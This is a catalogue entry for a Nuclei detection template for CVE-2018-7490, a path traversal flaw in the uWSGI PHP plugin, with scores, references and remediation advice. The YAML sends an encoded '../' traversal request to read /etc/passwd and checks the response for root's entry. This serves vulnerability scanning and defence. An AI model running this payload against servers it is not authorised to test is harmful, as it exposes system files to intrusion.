CVE-2018-7490: uWSGI PHP Plugin Local File Inclusion
- Template: CVE-2018-7490
- Name: uWSGI PHP Plugin Local File Inclusion
- Description: uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
- Impact: An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
- Remediation: Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
- Severity: high
- Authors: madrobot
- Tags: cve2018, cve, uwsgi, php, lfi, plugin, edb, unbit, vuln
- References: https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html, https://www.exploit-db.com/exploits/44223/, https://www.debian.org/security/2018/dsa-4142, https://nvd.nist.gov/vuln/detail/CVE-2018-7490, https://github.com/jweny/pocassistdb
- Cves: CVE-2018-7490
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2018/CVE-2018-7490.yaml
- Digest: 4a0a00473045022018a8f2e40896ab032e386f537ef642c62a5ddb6ab18392b4975f4034172d711f0221008658ba3ebd0691d9aa9c4e35f27cc99df59baa0613863daefe9096b3b15ef07e
- Created at: 2020-04-08T15:56:50Z
- Updated at: 2026-11-22T02:03:55Z
- Age in days: 2421
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7490.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-22
- Cvss score: 7.5
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.69423
- Epss percentile: 0.99374
- Cpe: cpe:2.3:a:unbit:uwsgi:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: uwsgi
- Vendor: unbit
Products
| Product | Indexed | Url |
|---|---|---|
| unbit:uwsgi | yes | /v1/products/unbit/uwsgi |
Labels
- Name: uWSGI PHP Plugin - File Inclusion
- Impact: Local attackers can include arbitrary files, potentially leading to code execution or information disclosure.
- Remediation: Update to version 2.0.17 or later.
- Vulnerability type: file_inclusion
- Vulnerability impact: file_system_read, file_system_write
- Requirement type: logged_in
- Requirements: Attacker needs local access
- Labels source: projectdiscovery
- From cve: CVE-2018-7490
```yaml
id: CVE-2018-7490
info:
name: uWSGI PHP Plugin Local File Inclusion
author: madrobot
severity: high
description: uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENT_ROOT check during use of the --php-docroot option, making it susceptible to local file inclusion.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Update to the latest version of uWSGI PHP Plugin or apply the necessary patches to fix the local file inclusion vulnerability.
reference:
- https://uwsgi-docs.readthedocs.io/en/latest/Changelog-2.0.17.html
- https://www.exploit-db.com/exploits/44223/
- https://www.debian.org/security/2018/dsa-4142
- https://nvd.nist.gov/vuln/detail/CVE-2018-7490
- https://github.com/jweny/pocassistdb
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-7490
cwe-id: CWE-22
epss-score: 0.69423
epss-percentile: 0.99374
cpe: cpe:2.3:a:unbit:uwsgi:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: unbit
product: uwsgi
tags: cve2018,cve,uwsgi,php,lfi,plugin,edb,unbit,vuln
http:
- method: GET
path:
- "{{BaseURL}}/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
digest: 4a0a00473045022018a8f2e40896ab032e386f537ef642c62a5ddb6ab18392b4975f4034172d711f0221008658ba3ebd0691d9aa9c4e35f27cc99df59baa0613863daefe9096b3b15ef07e:922c64590222798bb761d5b6d8e72950
```